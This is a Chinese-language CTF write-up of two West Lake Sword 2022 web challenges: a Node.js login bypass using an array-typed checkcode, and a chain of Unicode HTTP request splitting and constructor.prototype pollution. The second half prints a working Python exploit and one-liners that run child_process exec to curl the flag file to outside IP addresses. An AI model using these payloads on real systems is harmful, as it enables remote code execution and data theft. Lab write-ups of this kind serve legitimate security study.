西湖论剑2022 web复现

赛后复现学习

[西湖论剑 2022]Node Magical Login

main.js部分源码

1
2
3
4
5
6
7
8
9
10
11
app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})

app.get("/flag2",(req,res) => {
controller.CheckInternalController(req,res)
})

app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})

看源码由两部分flag应该

再烂看controller.js部分源码

1
2
3
4
5
6
7
8
9
10
11
12
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}

可以看到,cookie里user值为admin才会设置session,并且可以得到flag1

image-20231229234039451

NSSCTF{94784282-c4ee

接下来看flag2部分

看到在登录界面Math.random(),密码符合这样才能flag2

看一下和flag2相关的

1
2
3
function CheckInternalController(req,res) {
res.sendFile("check.html",{root:"static"})
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

这里如果传个 array 进去的话,调用 .toLowerCase() 用法会报错 Uncaught TypeError: checkcode.toLowerCase is not a function,但是捕获异常这里直接就能跳过了

注:这里要用json格式发送checkcode, 同时 更改Content-Type: application/json,数组要有16位
image-20231229235819983

NSSCTF{94784282-c4ee-4d3d-a48b-27c47a753c83}

[西湖论剑 2022] real_ez_node

源码https://github.com/CTF-Archives/2022-xhlj-web-real_ez_node

routes/index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
if (req.query.q) {
console.log('get q');
}
res.render('index');
})
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})

router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];

let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}

res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
module.exports = router;

看到源码部分中的copy的路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})

看到过滤了proto基本可以确定了是原型链污染,看到有ip限定只允许是127.0.0.1,看各位大佬的wp学会可以通过访问/curl利用httpz走私想/cpoy发送POST请求

**proto**被过滤可以用constructor.prototype替代__proto__

http拆分攻击+原型链污染

我们先来了解一下http拆分攻击

Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击

Unicode原理

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30:

image-20231230152908852

nodejs 的 HTTP 拆分攻击利用

由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。

Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

1
2
3
> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):

1
2
3
> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

原始请求数据如下:

1
2
3
GET / HTTP/1.1
Host: 47.101.57.72:4000
…………

当我们插入CRLF数据后,HTTP请求数据变成了:

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET HTTP/1.1
Host: 47.101.57.72:4000

所以我们构造的部分

1
2
3
4
5
6
7
8
 HTTP/1.1

POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………

GET

对这题而言,

我们构造

1
2
3
4
5
HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
。。。。。

接下来看原型链污染

过滤了_proto_

用constructor.prototype

rce:

1
x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x

payload:

{“constructor.prototype.outputFunctionName”:global.process.mainModule.require(‘child_process’).exec(‘curl 101.34.80.152:9999/ls‘);var x}

脚本模版:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
payload = ''' HTTP/1.1

[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求

GET / HTTP/1.1
test:'''.replace("\n","\r\n")

payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \

print(payload)

改一改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.34.80.152:9090/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


payload = payload.replace('\r\n', '\u010d\u010a') \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
.replace('`', '\u0127') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \




print(payload)

r = requests.get('http://node4.anna.nssctf.cn:28758/curl?q=' + urllib.parse.quote(payload))
print(r.text)

image-20231230160456211